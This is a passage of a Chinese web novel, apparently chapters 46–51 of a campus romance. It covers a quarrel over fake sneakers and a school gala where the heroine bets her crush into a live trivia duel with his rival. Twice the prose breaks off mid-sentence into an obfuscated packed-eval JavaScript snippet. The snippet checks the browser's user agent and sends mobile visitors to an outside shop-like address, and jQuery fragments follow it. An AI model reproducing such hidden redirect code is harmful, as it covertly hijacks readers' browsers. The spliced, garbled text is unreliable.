math：【自尊心强怎么了？自尊心强就得全世界都供着她？服了，没有公主命，但有公主病！没啥好说的，就是虚荣心作祟，结果玩脱了，怪不了谁，也是活该。】 努力考A大：【这么一想，她真的好虚荣啊，好歹是升华班班长，怎么思想滑坡这么严重？】 【……】 夏注一目十行看下来，铺扑面而来的嘲讽文字看得她快要窒息。 她前不久才把假球鞋的事说穿，当时是想提醒苗渔七天内退款来着，以免造成更大的损失，现在看来，似乎没退成…… 为什么就这么巧？现在事发，苗渔会不会以为是她说出去的？ 这件事还是解释清楚才好，她可不想背锅…… 夏注独自退出观众席，一个人朝无人处走去。 47.第四十七章 学校食堂背面有一排林荫甬道，地势挺高，几棵老树的枝干越过栅栏，一路延伸到校外的公路上。 夏注四处寻找了一圈，原本没发现树后面有人，但被一团白色吸引了目光。 走过去一看，是一只白色球鞋。 鞋子被脱下来丢出老远，东一只西一只的，还带了点泥巴，好像已经完全被主人厌弃。 苗渔抱着膝盖坐在树下吹风，低头看着脚下的车流来往穿行，本人却一动不动。 这里不算安静，甚至可以说很吵闹，但却是这个时间段里唯一一个没有人的地方，也不适合发呆。 夏注看了一眼，弯腰把球鞋捡起来，朝着苗渔走过去。 她没有刻意放轻脚步，对面很快就察觉到有人靠近，立即抬起头。 “苗渔。” 夏注已经来到跟前，把捡来的鞋子整整齐齐放在她脚边。 苗渔在看见球鞋的一瞬间，原本不稳定的表情立刻就爆发了：“你来干什么？谁告诉你我在这儿的！” 这么大的反应，就好像夏注递过来的不是一双鞋子，而是一颗定时炸弹。 夏注笑了笑：“这么不想见到我啊？可是你躲在这没有用。” 苗渔瞪大了眼睛：“那你还来？！” 夏注居高临下地站着俯视她，话里话外像是挑衅，苗渔不禁怒火中烧。 夏注是第一个发现假球鞋的人，她刚一发现，很快所有人都知道了，不是她说出去的还能是谁？这个人怎么还敢来找她的？还敢明目张胆地拿着球鞋来刺激她，反复提醒着她是如何被骗的！ 苗渔觉得自己就好像一个跳梁小丑，这种感觉在夏注面前更甚。 她就像个笑话，卑微而又局促地想把自己藏起来，可夏注居然还不放过她，还追过来嘲笑她，揭她伤疤，让她这么难堪！太过分了！ “本来还不确定的，但看你现在的反应，我更加确定你误会我了。” 夏注大概能猜到她在想什么，蹲下来与她平视，“班长，咱俩谈谈？” “我现在没心情，你就不能让我一个人待会吗！” “不能。” 夏注的语气变得严肃：“毕竟你有时间冷静，不代表所有人都有时间等你！我是这样，赛场上的其他同学也是这样，你说是不是？” “你到底想说什么？！” 苗渔气得发抖，直接光着脚从草地上站起来。 夏注无视了她的不满，自顾自道：“我记得我刚进升华班的第一天，是你来接的我。你亲口对我说，这里竞争激烈，适者生存，我必须有本事扛住压力才能留下，这个道理你应该比我更清楚。” “然后我这个倒数第一，刚进你们班，就被于支扬带头给针对了。直到现在，还是有人不断给我施压，从未间断。实不相瞒，刚才还有个学长，说我不会游泳diss我来着……” 夏注漫不经心地拍了拍裙摆，一脸无所谓道：“哎，主要是我觉得很搞笑，仅仅是因为不会游泳这种莫名其妙的原因，就要被鄙视吗？谁还没点短板了？” 她望着苗渔苍白的脸，直视着她的眼睛，“同样的，某些人因为你穿了一双假鞋，就对你指手画脚的，这又算哪门子莫名其妙的理由？既然是他们没品，那为什么要在意他们的看法？” 苗渔听到这，下意识咬紧了牙关，不想让一丁点委屈溢出来。可是她全身都在颤抖，哪里控制的住？ “所以啊，别人攻击你的弱点，要么是想看你出丑，要么……” 夏注伸出手，想拍一拍她的肩膀，但还没碰到，就被苗渔甩开了。 她也不生气，笑了笑说：“要么就是想看你因为自卑，最后自我崩溃而已。如果你因为这点小事就躲起来，不敢见人了……那你还真挺叫人看不起的。” “你说什么？” 苗渔气得眼眶红了一圈，咬着牙瞪她。 夏注把头发拨到耳后，感觉自己今天有点多话了。 本来只是想解释一下误会的，别的关她什么事啊？莫名其妙就说了这些，也不知道苗渔能不能理解她的意思。 “还有，球鞋的事不是我泄露的，我不会在这个事情上骗你，所以请你最好不要把一些黑锅随随便便就扣在我头上！” 夏注说完转身就走，没走两步，又想起来回头补上一句：“哦对了，那个帖子已经撤掉了，要不要回去参加比赛你自己决定，杨宝儿她们应该还在等你。” 苗渔在她离开后，才背过身擦掉了眼泪。 她不得不承认夏注说的是对的，躲起来根本没有用。她得回去参加比赛了，不能让别人平白无故看笑话！ - 夏注从食堂后方绕出来，竟然看见于支扬靠在墙边看她。 她愣了一下，问：“你跟着我来的？” “我刚才一回头，看见你不打招呼就走了。” 于支扬还穿着刚才游泳时的那套运动服，T恤上的水渍都没干。 “那我俩刚才的话，你都听见了？” 于支扬：“嗯，既然苗渔有误会的话，是应该解释一下。” “走走走，先离开这儿。” 夏注抓起他的胳膊领他先走，以免待会儿让苗渔出来再看见。 于支扬疑惑道：“不过她为什么会以为是你泄露的？” “因为我是第一个提醒她球鞋有问题的人呗。”夏注说，“我当时提醒的时候，没想到这一层，谁能想到她怪到我头上了？我一听帖子的事，就知道她肯定要误会的。” 于支扬：“噢，那你反应还挺快的。” 两人走到科技楼下，四下无人，夏注走着走着，忽然停下脚步：“嘿羊sir，我问你个问题啊？” 于支扬：“？” 夏注双手握拳置于空中，两只手各竖起一根食指，“我，和苗渔，我们两个人，你更信任谁啊？我听说你们俩很早就认识了？” 于支扬闻言，像是听见了什么新奇大陆一样，勾了勾嘴角。 他摩挲着下颌，故作幽深道：“对喔，这个问题嘛，我需要好好想想……” 夏注的食指一横，立刻转变成了击毙手势，对着于支扬威胁说：“想什么想，比如苗渔刚才误会我的时候，你更相信谁？给你两秒钟，快点！” 看着夏注面无表情的警告，于支扬忍不住笑了，继续恶劣地笑着：“那我可能都信！” “好的你滚吧。” 夏注一秒冷脸，扭头就走。 “诶诶诶？我逗你呢，你别生气啊！” 于支扬追上去捞她的手，夏注却像只兔子似的滑不溜秋，怎么也抓不住。 “别拉我，你不说你都信吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522246|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于支扬手忙脚乱的一只手改成两只手拉她，毫不迟疑地说：“但我双标啊！” 夏注的右手手腕被紧紧抓着，她用力甩了几下，没甩掉。 “什么意思？”她问。 于支扬：“简单点来说就是，不管你做的对不对，反正我站你这边！就算苗渔球鞋的事真是你泄露的，你这么做，肯定有你的道理。” 夏注听完不禁一怔，陡然反应过来，嘴角不自觉地开始上扬，怎么压也压不下去。 不得不说，于支扬很会哄人，这个答案有点出人意料，但还真就是她心底最想听见的答案！ 双标有双标的好处，她是那个既得利益者，怎么着都是乐意的，她又不是什么大方的人。 她想做的事本来就与剧本背道而驰，这还是第一次有人告诉她，她无论做什么，都肯定有她的道理，哪怕是歪理，也要一错到底的道理。且无条件服从。 虽然可能是哄人的话，但她听了的确很高兴，如果羊sir愿意无条件配合她改剧本，她想她应该会更高兴。 同样的问题，如果换于支扬来问，夏注想，她一定也会这么回答。 他们都很小气，也只会为了一个人而双标，无关对错。 夏注的火气来得快，去的也快，一句话就被哄好了，立马又蹦回于支扬跟前：“真的假的？不管我做什么你都站我这边？” 于支扬笑着看向她：“是。” 夏注：“那，那我以后，天天惹是生非，到处闯祸，你也会站在我这边吗？” 于支扬：“是。” 夏注：“你不会质疑我的道理，对吗？” 于支扬：“是，就不喜欢讲道理！” 夏注踮起脚尖：“那你什么时候表白？” 于支扬：“是……” 于支扬：“？？！” 是什么是！于支扬神情一变，两边脸颊迅速红了。 “噗哈哈哈哈哈！！” 夏注忍不住大笑：“我也是逗你的！” 她转身拉开距离，“哎呀，走了走了，我忙着呢，哪有时间跟你聊天啊～” 于支扬在她身后抹了把脸，“夏注！我没跟你开玩笑！我认真的！” 知道了，笨羊。 - “Hello亲爱的各位同学，老师们，大家晚上好！” 当天晚上七点整，海城一中本届校庆闭幕晚会在顶楼的大礼堂举办。 宣传部用心布置的大礼堂很有氛围感，内场一共三层，甚至第一层的所有座位都贴上了学生的姓名。 伟大的宣传部致力于给每一个到场学生和老师带来最舒适的体验，可惜…… 夏注坐的不是很舒服！ 她被安排在了相对中间的位置，高度也正好，还正对着舞台，可以说是个最佳观看点，只不过…… 谁能告诉她为什么她左右两边的座位，贴的是【于支扬】和【沈通】啊？？ 为什么让她夹在正中间！宣传部那群奇葩人到底什么破毛病，这TM到底是谁安排的座位？几个意思？？ 舞台上主持人的演讲热情澎湃：“欢迎来到，海城一中30周年校庆典礼现场！我是主持人高三173班许薇！今晚我们相聚于此，30个春秋！记录着步履的坚强与不屈的昂扬！……” 49.第四十九章 “好的，感谢高二年级带来的精彩魔术！接下来请欣赏由音乐社团给大家带来的歌曲，掌声欢迎！” 夏注靠在椅子上眯了一会，很快就被一阵热烈的掌声惊醒，在这种地方根本没法安心睡觉。 她换了个姿势继续打盹，迷迷糊糊中，似乎有人来到她面前，挡住了光线。 “醒醒，别睡在这，不然待会儿你的脖子动不了了！” 那人在她脑门上敲了两下。 “滚开，烦不烦啊……”夏注没睁开眼睛也知道是谁，烦躁地去扇开那只欠兮兮的手。 于支扬弯下腰，将她笼罩在阴影里，嗓音里溢出一声轻笑：“起来，你霸占我位置了。” 夏注叹了口气，掀开眼帘，顶着满脸的睡眼惺忪去看他。 这一看，瞬间呆住了。 于支扬今晚换了一套浅蓝色礼服，头发也打理过了，V领背心和白色衬衫交叠在一起，款式宽松休闲，却不失洋气。他胸前有一条细长的金色小链修饰，一直延伸到领带上，在夏注眼前晃啊晃…… 这个人很少有认认真真打领带的时候，此时却打扮得一丝不苟，最外层的渐变色格子风衣很长，包裹着腰身和大腿，衬得他整个人像大明星似的。 于支扬一只手撑在扶手上，弯下腰垂眸看着夏注，领带下摆刚好划过夏注的脸颊。 孔雀开屏，的确很养眼。 夏注一秒就看懂了他眼底的意图，却故意不开口。 她的目光就这么毫不掩饰地，在他身上流转，好半晌才发出徐徐惊叹：“哇哦~羊sir，你今天这一身好帅哦！” “废话，还用你说吗？把你的脚挪开，快点儿！” 于支扬听完，可算心满意足，终于整理整理衣服坐下，不再挡着光。 夏注也没揭穿他，夸完了，继续好脾气地闭上眼睛打盹。 「I still feel your touch in my dream～」 舞台上歌喉小队的倾情演唱将气氛推至高点，于支扬心情不错，跟着哼了几句，扭头看向夏注，推了推她的肩膀。 “别睡了，再睡你真的会落枕。” 夏注闭着眼睛喃喃：“你管我……” “那，你要是实在很困的话，我的肩膀借给你靠一会儿也行。” “滚。” 夏注轻声道，“你是我谁啊？我为什么要靠你身上……” “这么倔啊？” 于支扬饶有耐心地翘起二郎腿，一只手撑着下巴看她：“这样吧，要不待会儿等你变成了歪脖子，我给你拍几张照片？对了，你喜欢原相机还是美颜？正面还是侧面？” 夏注倏地睁开眼睛，扬起拳头作势要揍他，“你能闭嘴吗？你够了啊！” “看吧，你也不是很困啊～” 夏注：“……” 有点火大，算了，不睡了。 “感谢音乐社团给大家带来的歌曲，接下来请欣赏来自高三年级的小品《路边摊》！” 小品的质量还不错，夏注看了一会儿，困意都没了。她随口问于支扬：“你是有演讲吗？什么时候上台？” “嗯哼，但我排在最后一个。” 夏注点点头，理解，大佬都是压轴嘛。 心里是这么想，嘴上却道：“你有什么节目可以表演的？现场搜题大赏吗？” 于支扬脸上的笑意停滞了一瞬，很快又恢复了：“哦，你好像对我电台室那次搜答案的事，有很大意见啊？” “假的就是假的，什么电台直播从未被问倒过……本来也是忽悠人的。”夏注漫不经心道。 她说着，忽然抓住于支扬的领带，轻轻一扯，把他拽过来与自己紧挨着，用只有两个人听得见的声音问他：“于支扬，敢不敢跟我玩个游戏？” 女孩子温热的呼吸喷洒在他的脸颊上，于支扬望着她，微微眯起眼睛：“你想怎么玩？” “你当场开一次百科问答！” 夏注的语气没有半点迟疑，一双幽黑漂亮的大眼睛极具蛊惑，一眨不眨盯着他看。 但于支扬显然没有那么容易被蛊惑，他移开视线，垂眸笑出声来，笑完了才说：“你这哪是玩游戏，分明是玩我吧？” “那没办法，你不让我睡觉，我只能拿你开刀了。” “具体怎么玩？” 夏注轻轻摩挲着手里的领带，在他耳边低声说：“我们打个赌，等下你上台以后，开一次百科问答，时间不用很长，没有哪个主办方会拒绝这个。如果你答不出来，输了，就得答应我一个要求。如果你赢了，那你也没什么损失，是不是？” 于支扬收敛笑意，从她手里抽回了领带，淡淡道，“不玩，你当我傻？这不公平。” “凭什么就你能讨个彩头？你输了也不用付出什么……这不是欺负人么？” “可我就欺负你一个人啊。”夏注忽然道。 “……” 于支扬正低着头整理领带，闻言，手上的动作停顿了一下。 他不动声色地叹了口气，心说你撩拨人怎么每次都是零帧起手、不打招呼的？ 夏注看也不看他，重新靠回自己椅背上。 “算了，反正我又不是在跟你商量……也就是提醒你，做好心理准备。” - 又一个多小时过去，将近9点钟，节目单上的才艺表演总算接近尾声。 主持人大声宣布，“接下来我们进入今晚的最后一个议程！有请一中的宣传部长于支扬同学，做本年度学生会汇报演讲！大家掌声欢迎！” “哦吼吼到我们了！终于到我们了！” 刚刚一直在颁奖，原本已经沉寂下去的观众席再次沸腾，散落在各处的宣传部成员一茬接着一茬冒出来，气氛三两下就被调动起来了。 “今年的汇报演讲还是这小子啊？不错不错！” 坐在前台评委席上的学校领导也跟着抬起头。 普芹意思性谦虚了几句，然后把头仰得高高的。 于支扬在掌声中终于出场，迈着长腿走到舞台正中央。 夏注后排有一群高一的学生踮起脚尖，大声叫唤着：“在哪？哪呢？于支扬在哪儿？” “我靠我靠！是他吗？是不是那个？啊啊啊我终于蹲到了！” “啊？他不是每周都直播的吗？” “你不懂，我这是入学以来第一次见真人啊！看见了看见了！我的妈呀，这男的真的好帅！手机借我，快点！” 于支扬站在演讲台上，调整了一下麦克风，下一秒，磁性的声音在整个礼堂响起：“尊敬的各位领导、老师，亲爱的同学们，大家晚上好。我是一中学生会宣传部长，于支扬。” 嗓音很好听，但又跟平日在电台直播里听见的不太一样。 那是一种介于少年人和成熟男人之间的声线，干净爽朗，带着一丁点气音，通过音响被传递到每一个角落。 “值此周年校庆之际，我谨向全校师生、员工、校友致以热烈的祝贺！” 舞台下响起一波热烈的掌声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537158|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “问一下，你们知不知道他有没有女朋友啊？” “不知道啊，去问高年级的！” 有高一的女生正抱着手机四处询问，“这个学长太帅了，绝对不能放过！” 夏注默默皱眉：“……” 他没有女朋友！ 但是要追他的前提是，先跳级到升华班！先考个年级第一来看看实力！ 做不到的话，就可以先闭嘴做题了。 “过去一年里，我们宣传部校园建设的根本，本着学会生活、掌握技能、锻炼智商、培养情商、塑造……” 舞台上，于支扬的演讲有条不紊，舞台下，沈通终于透完气，推开后门回来了。 - 夏注正给后台发去了一条消息，余光看到沈通回来，在自己旁边坐下，心说这回来得正是时候。 今天晚上由她策划的这场主角光环的过渡游戏，就快开始了。 她等了很久，这场演绎，只有在今天这样隆重的大场合，才撑得起来。 沈通和于支扬的矛盾是真实存在的。 而沈通是常年被压制的那一个，心里肯定憋了很多气。 于支扬这次不能用电脑搜题，肯定输定了。 如果今晚让沈通当着所有人的面，揭穿于支扬、打败于支扬，出了这口恶气……那他不仅能洗清嫌疑，还能成为这个剧本新的男主角！一箭双雕！ 不，一箭三雕！ 只要夏注赢了赌约，就能提出让于支扬当她男朋友！ 虽然于支扬今天白天才说过，相信无论她想做什么，都有她这么做的道理，但是…… 但是如果，如果于支扬最后还是生气了…… 那…… 那没关系，生气就生气吧，大不了慢慢哄。 夏注难得有些紧张地望着台上正在讲话的于支扬，心里默念着：羊sir你可别怪我，我这也是为了你的人身安全…… “最后，祝海城一中30周年生日快乐！我的汇报演讲到此结束，感谢各位！” 台下的掌声尚未结束，于支扬转身要撤，主持人忽然一路小跑冲上去。 夏注紧张得甚至能听见自己心跳的声音。 “好的，感谢于部长的演讲！等一下！麻烦先留步！” 主持人追上去叫住了他，“稍等一下，想必大家也感受到于部长的人气了！所以不能轻易放你离开哦～” “是这样，现在时间也还早……刚刚我们在后台，收到了一位匿名同学的建议，请求对于部长进行一个临时的小采访～” 于支扬听完一愣，有些诧异地望向台下某处。不知道是不是没能反应过来，没有立刻开口拒绝。 主持人已经开始征求大家的意见，果然，话音未落，底下立刻开始轰动起来： “还有采访吗？好好好！” “笑死了，谁发的匿名信啊？太懂了！哎呀，这可比看不见脸的直播好多了！” “要怎么采访啊？观众来提问还是？” “能不能问一下他平时是怎么学习的？” 主持人接收到大家的热情，瞬间有了底气，也跟着渲染话题，大声询问：“在咱们一中就读的同学们，应该没有谁不认识于部长的吧？” 底下人大声回应：“是！” 评委席上，有位特邀请来的外企大领导也跟着鼓掌，转头对普芹道：“这孩子是你们升华班的吧？哎呦可出名了，我之前听说过呢！” “过奖过奖哈哈哈～” 普芹陪着客气了两句。 50.第五十章 主持人已经把话筒对准了于支扬，开始大肆吹捧。 “于部长可是咱们海城一中的镇楼神针啊！据说校外的人第一次认识于支扬这个名字，是因为「两个传奇」。于部长，您知道那分别是什么吗？” 于支扬忍不住地皱眉，就差把「你在说什么吹牛逼不打草稿的鬼话？？」写在脸上了。 但他很快意识到有无数摄像头在拍，于是又很快恢复如常。 “不知道，校外的事我怎么会知道？” 他说。 “是两年电台直播从没被问倒过、以及五年连续第一从没掉过——两个传奇哦！” 于支扬：“……” 他一直觉得这话不像是在夸他的，像在骂他不是人。 而且因为某些特殊原因，其实他每次听到这个，都有点抗拒。 于是他眼神示意让主持人换一个话题。 主持人没看见，但本来也没打算停留太久。 她低头看着后台发来的许多私信，从中挑出一个问他： “是一个女同学们都关心的问题哦，听说你擅长很多体育项目，如果有女同学邀请你一起，你会选择什么运动呢？” 这类提问活动一向很无聊，来来回回就那么几个问题，于支扬直白地反问：“这跟运动有什么关系？我挑人。” “好的。有同学想知道，于部长大概什么时候参加高考？您还会继续担任宣传部长多久呢？” “目前不考虑辞职。” 于支扬说，“高考的话，我已经报名了下个学期。” 主持人：“好的，看得出来，学弟的在校安排非常紧凑！那么你过去这一年最大的收获是什么呢？” 最大的收获吗？ 于支扬停顿了，视线转移至台下，这让前排的许多人开始紧张起来…… 他缓缓收回目光，再开口时，语气轻快了许多：“当然有了。我今年收获了一位，特别喜欢的朋友。” 话音刚落，观众席响起一片轩然大波。 “卧槽，谁啊？什么好朋友？男的女的？”有人忍不住站起来大声询问。 “对呀对呀，谁呀？” “我好像还是第一次听见于支扬把一个朋友挂在嘴边！哈哈……” “我也是！” 主持人抓住重点，继续问：“哦？那你这位朋友今天在现场吗？” 于支扬下意识扯了扯领带，“她在，不过……” 原本坐在观众席中央的夏注忽然站起身：“于支扬同学！” 场内有许多人都是站起来听的，她现在才起身，没什么特别的，但就是莫名引来了一堆人的目光。就连沈通也是一惊。 夏注的声音像一柄利剑，陡然划破全场喧嚣，直线刺进于支扬的心脏里。 他屏住了呼吸，扭头看去。 四面八方的嘈杂声在最短的时间内消失了，在夏注头顶上方，有一道白光“啪嗒”一声降临，聚焦在她身上。 她旁边的那一小撮学生被灯照到，慌忙躲远了，只有沈通还稳稳坐在她旁边，一动不动。 周围集体哗然，前排的同学纷纷扭头：“卧槽，这谁啊？吓我一跳！” “喂，你谁呀？你要干嘛？” “这不是夏注么？学校论坛上超活跃的那个！” 夏注挺直了腰板站着，没理会任何异样的目光。 她举起双手鼓掌，仿佛发自内心地发出赞叹：“我很久之前就开始听于支扬同学的电台直播了，由衷的佩服同学的优质口才和能力！” “尤其是百科问答的那一期，我发现，你果然是个「天才」！” 于支扬：“……” 她这是，想玩真的啊？ “今天的活动已经到达尾声，但同学们似乎意犹未尽呢……” 夏注没有麦克风，就这么隔空望着于支扬，大声喊话：“我提议让于同学现场给我们开一次百科问答节目！” 她像一轮毫无征兆、骤然席卷入境的台风，表面无比疯狂，而内里却出奇的平静。 于支扬站在最外层的风口浪尖上，既不点头，也不拒绝，就这么定定望着她，不知道在想些什么…… 观众席无需沉寂太久，立刻有无数人投出支持票：“我觉得可以！可以啊！姐妹，你很勇啊！” “对对对，我也想跟他现场互动！” “加一加一，我强烈支持！” “啊这？这不合适吧，姓夏的疯了你们也疯了？” “于哥！开吧开吧！我觉得挺有意思的！救命啊，现在还太早了，我可不想回教室上晚自习……” 此言一出，三层大礼堂内，上上下下彻底开始轰动了，“我靠！我怎么没想到？你们好损啊！于支扬好惨哈哈哈哈……” “服了！不要这么大声！我们班主任还在后面！” “诶诶你们别瞎说啊！我这明明是……真心实意想看于支扬的百科问答！跟上不上晚自习没关系！” “开播！大佬快开播！播上个三小时救救我！谢谢！” “于支扬开播！开播！” 现场哄闹成一片，又过了一会儿，也没有任何领导老师出面阻止。得到了领导们的默许，铺天盖地的叫好声此起彼伏，络绎不绝。 于支扬一个人面临着潮水般汹涌而来的催促，微不可查地叹了口气。 真是造孽。 他第一时间把自己的把柄交托给她，却被夏注拿来这么用。 他怎么就偏偏喜欢上这么个坑人的活宝…… - 不知是谁给夏注递去了一个话筒。 她站在原地，隔空问于支扬：“只是现场开一次直播而已，难道于同学不敢吗？还是说……你怕自己答不出来？” 于支扬“噗嗤”一声笑了，笑得直不起腰。 再抬起头时，他整个人都已经松垮下来，站在舞台中央，就好像刚才紧绷的神经突然舒缓，或者已经断了。 他摊开双臂，把手撑在演讲台上，直勾勾望着观众席，“我有什么不敢的？我是怕你会输……” 男孩子的声音听起来有些无奈，想了想，又补上一句：“既然这样，咱俩刚才的赌约，还算数吗？” 夏注：“算啊，如果你输了，就得答应我一件事，如果……” 于支扬开口抢答：“那反过来，你也得答应我一件事。如果你输了，就得学游泳，敢吗？” 夏注一噎，转念一想，反正于支扬平时直播都是靠搜答案来回答问题的，这次又不能作弊，总归是输定了。 “学就学！谁怕谁？” “好！那就开播！” 主持人特别热情地凑过去问：“那么，学弟，需要后台准备点什么吗？” “不用，现在就可以开始！” 主持人问完就退台了，于支扬独自站在演讲台上，慢斯条理地用指尖抚平了胸前卷起的一片风衣领口。 “等一下！” 夏注忽然举手打断了他，“谁说你的对手是我了？” 她放下话筒，转身看向坐在旁边的沈通，拍了拍他的肩膀。 “沈通，你起来。” 沈通：“？” 于支扬：“？” “叫你呢，磨磨蹭蹭的干什么？起来啊！”见沈通不动，夏注直接上手去拉沈通的胳膊。 于支扬的脸色瞬间变了：“你这是什么意思？” “很明显，你今天的对手是沈通呀，你又没有规定过提问的人必须是谁，那我请他替 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“我相信你肯定会赢的，我保证这些题目于支扬肯定答不出来！” 然后她说完，就看见沈通的耳根又红了，这次是两只都红了…… 夏注：“所以你就配合一点，别扫兴，好吗？” 沈通：“好。” - 于支扬隔着大老远看见他俩拉拉扯扯的，怒极反笑：“哈？你在开什么玩笑？” 什么叫“替我上场”？ 沈通是她谁啊？凭什么替她上场？！ 在场的其他人也很快回过味来，只不过是另一层的“味儿”。 升华班的付少校提醒道：“这……不好吧？他俩毕竟是死对头，沈通肯定会把于支扬往死里怼的！” 宣传部的杨升极其自信：“怕什么？我们于哥又不是答不出来！” “那啥……就只有我一个人觉得不公平吗？” 普星星小声嘀咕：“凭什么其他人可以组队，答题的人就于支扬一个啊？” 纪律部那边有人冷笑：“那咋了？你们于神不是特别牛逼吗？舌战群儒也可以呗～” “哦嚯嚯～看来有人今晚要跌落神坛咯～” “竟然还有人这么期待呢？” “喂，你们别太过分！” 宣传部这边有人听不下去了：“就想看别人出丑有意思吗？我看你们倒是丑态百出的！一群low货！于支扬也是你们能歪歪的？想看他的笑话，等下辈子吧！！” “艹？你们还骂人？话别说的太早了！” “等着瞧吧！” 比赛还没开始，那边两个部门已经杠上了。沈通把题目纸还给了夏注：“这个，不需要。” “啊？为什么，你还是拿着吧？” “不用。” “拿着吧。” 两人一来一回，推来推去的，于支扬隔空看着，脸色彻底黑透了。 可恶！可恶！可恶！ 大庭广众之下！还敢在他面前拉拉扯扯的！ 沈通还敢挖他墙角！ 夏注还帮着他！ 太过分了！于支扬脑袋里有两个小人，他已经把沈通踹倒在地踩了一百下！ “用不着。” 沈通最后还是拒绝了那张题目，拿着话筒朝前面走了两排，更靠近舞台了。 夏注望着他的背影，心里还是有些担忧。 他……真的可以吗？ 沈通走到前排中央站定，跟于支扬面对面，一盏灯光打在他身上，“可以了，开始吧！” 51.第五十一章 “好的，接下来进入今晚的百科问答时间！” 主持人宣布比赛开始，“本轮活动由节目组临时决定，由于支扬同学负责答题，请各位老师和同学们保持安静，以免影响到于同学的思路！” 一轮掌声之后，大礼堂内恢复了安静。 夏注原本站在观众席的人堆里，为了不挡到后面的同学，暂时坐下了。 她坐得笔直，全身心关注着于支扬和沈通的状态。心说沈通你这次可别让我失望啊……至于于支扬…… 可能他事后会生气，会埋怨自己，那都在情理之中。 夏注早就做好了心理准备。她无法忽视于支扬的一举一动，但心里再愧疚也没想过要收手。 可是直到现在，舞台上那人没露出过一丝半点的慌张，无论心虚害怕，还是明显的抗拒反应，都没有。 或许是因为面对着镜头，他的表情管理一直非常得体，整个人过分地沉着冷静了。也只有在沈通被牵扯入局的时候，才明显黑脸了一瞬。 死对头杠上的时候，相互间都不会有什么好脸色，这很正常，大家也习惯了。 只可惜距离隔得太远，她根本看不出于支扬的情绪，此刻又在想些什么…… 但不管在想什么，被一堆人强行架在火上烤，总归不会是高兴。 估计这次结束以后，又要哄好久了……夏注心想。 “兄弟们要不咱们打个赌？” 纪律部那边有人大声吆喝：“我押于支扬这次一定会被问倒的，毕竟对手的实力等级摆在那欸！” “放屁！我们部长啥时候输过？”宣传部也不示弱：“赌就赌！谁怕谁啊！你们这次别玩不起！输了必须当众道歉！” 两个部门三两句话就开始开盘，后排有人边笑边押宝：“别搞别搞，哎哟，说得人家怪紧张的，我好像都闻到火药味了！” “准备好录屏吧家人们，免得到时候有人耍赖！” “必须的呀！这是大场面啊！两个学霸better我cut沈通！太帅了！” “看不起谁呢这是？谁输谁赢还不一定呢！” — 后台关掉了大部分的灯光，仅留下两盏分别聚焦在于支扬和沈通身上。他们一个独自站在台上，一个站在观众席中央，无声的对峙陡然拉开序幕。 于支扬居高临下瞪着沈通，动手把两边袖子朝上一推，默默攥紧了拳头。 如果对手是夏注的话，输就输算了，可她为什么要沈通找来代替她？他俩的关系什么时候这么好了？ “是你啊，好，很好……” 于支扬脸上带着冰凉的笑意：“那就来试试吧！” 没有稿子，没有裁判，毫无征兆的进入主题，他们甚至不需要任何准备，在场的所有老师和同学皆是见证者。 沈通举起话筒：“人有十根肋骨？” 于支扬一秒答题：“错！十二根！” “声卡、音频、光盘、U盘哪一个属于多媒体信？” “音频！” “氢氰酸的哪一条性质可以证明它是弱酸？” “25℃时一摩尔每升hcn溶液的PH值约为3！” “皮影戏中的皮影人物一般是用胶皮制成的吗？” “错！牛皮或驴皮！” 这场可怕的对峙才持续了不到半分钟，夏注感觉自己的脑袋“轰”一声炸开了。 情况不对劲！怎么可能这么快？ 她忍不住从座位上弹起来，满眼不可置信地盯着前方正在一问一答的两人。 沈通问：“商品的价值是由什么决定的？” 于支扬答：“生产该产品所消耗的劳动量，商品在交换中所能购买到的劳动量！” 他答完这题，忽然冷笑出声，毫不掩饰地挑衅：“喂，你就只会问这些课本上的玩意儿吗？” 沈通沉声道：“热身，别得意！” 于支扬：“放马过来啊！” 许多人低着头在手机上快速搜找答案，评委席上那位特邀的外企大领导忍不住鼓掌：“厉害！厉害啊！” “一个脱口而出，一个光速作答，这两个孩子未来可期呀！！” 旁边几位学校领导也跟着附和，普芹有点应付不过来。她望着自己班里针锋相对的两个男同学，心底隐隐生出几分担忧…… 学生会的那几个部门早就已经炸开了锅，“我的妈呀，我今天才发现沈通居然也这么神！” “完全脱稿啊？卧槽！太得劲了太厉害了！沈通加油！” “嗬，过分了吧，一上来就问这么难的题吗？沈通明显是故意的吧？”纪律部和宣传部还是老样子，谁也不服谁。 这不正常，怎么会这样？！ 夏注的心脏都提到了嗓子眼，不明白为什么沈通问的这些问题，于支扬都能全部答对？ 一开始或许是巧合，那连续不停呢？ 像他这样一个只靠搜题直播的家伙，不是应该分分钟就被问倒了吗？ 为什么他们能做到这一步？若不是知道于支扬和沈通关系极差，她甚至都要怀疑他们是提前排练过的…… 夏注感觉手脚一片冰凉。 沈通的输出源源不断，于支扬的回答准确且没有半点卡壳，难度持续升级。 问：“体操吊环中的十字支撑动作，为什么是高难度？” 答：“重力一定时，手臂之间的夹角越大，手臂受到的力也越大！” 于支扬早就较上劲了，脸上的笑意也越来越假：“喂，答题的就我一个，你不觉得很没意思吗？” 沈通示意他继续说。 “要不咱俩换着来，敢试试吗？” 于支扬问。 此言一出，台下的喧哗声又高出一个分贝。 沈通想也不想，直接接受了提议：“可以，你问！” 夏注听到这，不禁瞪大了双眼……满脸讶异地瞪着沈通的背影，说不出话来。 她在心底疯狂咆哮着：你TM在说什么呢？？！ 